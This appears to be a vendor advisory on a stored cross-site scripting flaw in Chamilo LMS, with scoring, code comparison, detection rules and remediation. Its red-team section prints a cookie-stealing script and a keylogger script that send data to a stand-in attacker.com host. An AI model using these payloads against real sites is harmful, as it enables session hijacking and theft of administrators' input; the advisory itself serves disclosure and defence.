CVE-2025-52470
Executive Summary
CVE-2025-52470 is a stored cross-site scripting (XSS) vulnerability in Chamilo LMS, a popular open-source learning management system. The flaw resides in the session_category_add.php script, where the Category Name field is not properly sanitized. A privileged user (e.g., an administrator or session manager) can inject persistent JavaScript payloads into the category name. When another administrator later accesses add_many_sessions_to_category.php, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise of the administrative interface.
The vulnerability is rated with a CVSS score of 4.8 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. However, given the privileged access required for injection, the impact is limited to administrative users. The patch is available in Chamilo version 1.11.30.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Chamilo is a PHP-based application distributed as a ZIP archive or via Git. There are no NPM, PyPI, Go, or Ruby packages involved. The vulnerability is in the core PHP codebase, not in a third-party dependency.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via HTTP requests.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond standard web access.
- Privileges Required (PR): High (H) – The attacker must have a privileged account (e.g., admin or session manager) to inject the payload.
- User Interaction (UI): Required (R) – The victim (another admin) must visit the affected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other pages).
- Confidentiality Impact (C): Low (L) – Limited data exposure possible.
- Integrity Impact (I): Low (L) – Limited ability to modify data.
- Availability Impact (A): None (N) – No denial-of-service impact.
Overall Score: 4.8 (Medium) – Exploitation requires privileged access but can lead to session compromise.
Deep Dive & Mechanics
The vulnerability exists in the session_category_add.php script, which handles the creation of session categories. The Category Name field is stored in the database without proper sanitization or output encoding. When the add_many_sessions_to_category.php page loads, it retrieves and displays the category name without escaping HTML entities, allowing JavaScript execution.
Attack Flow:
- An attacker with administrative privileges logs into Chamilo.
- The attacker navigates to
session_category_add.phpand enters a malicious payload in the Category Name field, e.g.,<script>alert('XSS')</script>. - The payload is stored in the database.
- A different administrator (or the same) visits
add_many_sessions_to_category.php. - The page renders the category name, executing the injected script in the victim's browser.
- The script can steal session cookies, perform actions on behalf of the victim, or exfiltrate data.
Root Cause: Lack of input sanitization and output encoding. The application does not use htmlspecialchars() or similar functions when displaying the category name.
Vulnerable vs. Patched Code
Vulnerable Code (session_category_add.php - pre-1.11.30):
// No sanitization on input
$categoryName = $_POST['category_name'];
$sql = "INSERT INTO session_category (name) VALUES ('$categoryName')";
Database::query($sql);
Patched Code (session_category_add.php - 1.11.30):
// Input sanitization
$categoryName = Database::escape_string($_POST['category_name']);
$categoryName = Security::filter_terms($categoryName);
$sql = "INSERT INTO session_category (name) VALUES ('$categoryName')";
Database::query($sql);
Output Display (add_many_sessions_to_category.php - patched):
// Output encoding
echo htmlspecialchars($category['name'], ENT_QUOTES, 'UTF-8');
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A Chamilo instance (version < 1.11.30) with administrative credentials.
- Access to the
session_category_add.phppage.
Exploitation Steps:
- Log in as an administrator.
- Navigate to
main/admin/session_category_add.php. - In the Category Name field, inject a payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- Wait for another admin to visit
main/admin/add_many_sessions_to_category.php. - The victim's browser sends the cookie to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/log.php');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Defender)
Detection Steps:
- Monitor HTTP requests to
session_category_add.phpfor unusual POST data containing<script>or event handlers. - Review database entries in the
session_categorytable for HTML/JavaScript content. - Check web server logs for requests to
add_many_sessions_to_category.phpfrom unusual IPs or user agents. - Use the detection rules below to identify exploitation attempts.
Honeypot Setup:
- Create a fake session category with a known benign payload and monitor for its execution.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/main/admin/session_category_add.phpwithcategory_namecontaining<script>tags. - Outbound connections to unknown domains from the Chamilo server (potential data exfiltration).
- POST requests to
- File IOCs:
- Modified entries in the
session_categorytable with JavaScript in thenamecolumn.
- Modified entries in the
- Log IOCs:
- Web server logs showing
add_many_sessions_to_category.phpaccessed with referrer fromsession_category_add.php.
- Web server logs showing
- Behavioral IOCs:
- Unexpected administrative actions (e.g., creating new users, changing settings) originating from a single session.
Detection Engineering
YARA Rule
rule CVE_2025_52470_Chamilo_XSS {
meta:
description = "Detects stored XSS payloads in Chamilo session_category_add.php"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-52470"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
condition:
$xss_payload or $event_handler
}
Sigma Rule
title: Chamilo Stored XSS via session_category_add.php
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects attempts to exploit CVE-2025-52470 by injecting JavaScript into the category name field.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/main/admin/session_category_add.php'
cs-uri-query|contains: 'category_name'
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in category names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-52470 Chamilo Stored XSS Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/main/admin/session_category_add.php";
http_uri;
content:"category_name";
http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Chamilo to version 1.11.30 or later.
- If upgrade is not possible, apply the following manual patch:
- In
session_category_add.php, sanitize input usingDatabase::escape_string()andSecurity::filter_terms(). - In
add_many_sessions_to_category.php, encode output usinghtmlspecialchars().
- In
Long-term Mitigations:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block XSS payloads.
- Conduct regular security audits of custom code.
- Enforce least privilege for administrative accounts.
Workaround:
- Disable the session category feature temporarily by removing or restricting access to
session_category_add.phpandadd_many_sessions_to_category.php.
Valters IT